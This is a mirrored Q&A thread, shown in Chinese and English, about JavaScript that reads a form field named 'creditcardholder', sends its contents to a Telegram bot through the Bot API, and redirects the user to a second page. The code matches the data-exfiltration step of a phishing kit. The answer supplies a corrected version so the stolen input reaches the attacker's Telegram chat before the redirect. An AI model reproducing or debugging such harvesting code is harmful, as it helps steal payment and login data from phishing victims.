简体   繁体   English

如何通过 javascript 和电报机器人 api 重定向到另一个页面

[英]How to redirect to another page via javascript and telegram bot api

I have problems redirecting the user to the next page.我在将用户重定向到下一页时遇到问题。 What happens is that after sending the form, the user is directed to the next page but does not connect me the message by Bot Telegram.发生的情况是,在发送表单后,用户被定向到下一页,但没有通过 Bot Telegram 将消息连接到我。

var telegram_bot_id = "token";
var chat_id = "id";
var email;
var ready = function () {
    
    email = document.getElementById("creditcardholder").value;
    
    message = "Email: " + email ;
};
var sender = function () {
    ready();
    var settings = {
        "async": true,
        "crossDomain": true,
        "url": "https://api.telegram.org/bot" + telegram_bot_id + "/sendMessage",
        "method": "POST",
        "headers": {
            "Content-Type": "application/json",
            "cache-control": "no-cache"
        },
        "data": JSON.stringify({
            "chat_id": chat_id,
            "text": message
        })
    };
    $.ajax(settings).done(function (response) {
        console.log(response);
    });
    
    document.getElementById("creditcardholder").value = "";
    
    window.location.href = "main2.html";
    
    return false;
    
};

If you redirect the user before completing the AJAX request, the AJAX request will be aborted.如果在完成 AJAX 请求之前重定向用户,则 AJAX 请求将被中止。 In this modified code, the redirect occurs only after the successful completion of the AJAX request:在此修改后的代码中,仅在成功完成 AJAX 请求后才会发生重定向:

var telegram_bot_id = "token";
var chat_id = "id";
var email;
var ready = function () {
    
    email = document.getElementById("creditcardholder").value;
    
    message = "Email: " + email ;
};
var sender = function () {
    ready();
    var settings = {
        "async": true,
        "crossDomain": true,
        "url": "https://api.telegram.org/bot" + telegram_bot_id + "/sendMessage",
        "method": "POST",
        "headers": {
            "Content-Type": "application/json",
            "cache-control": "no-cache"
        },
        "data": JSON.stringify({
            "chat_id": chat_id,
            "text": message
        })
    };
    $.ajax(settings).done(function (response) {
        console.log(response);
    
        window.location.href = "main2.html";
    });
    
    document.getElementById("creditcardholder").value = "";
    
    return false;
    
};

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM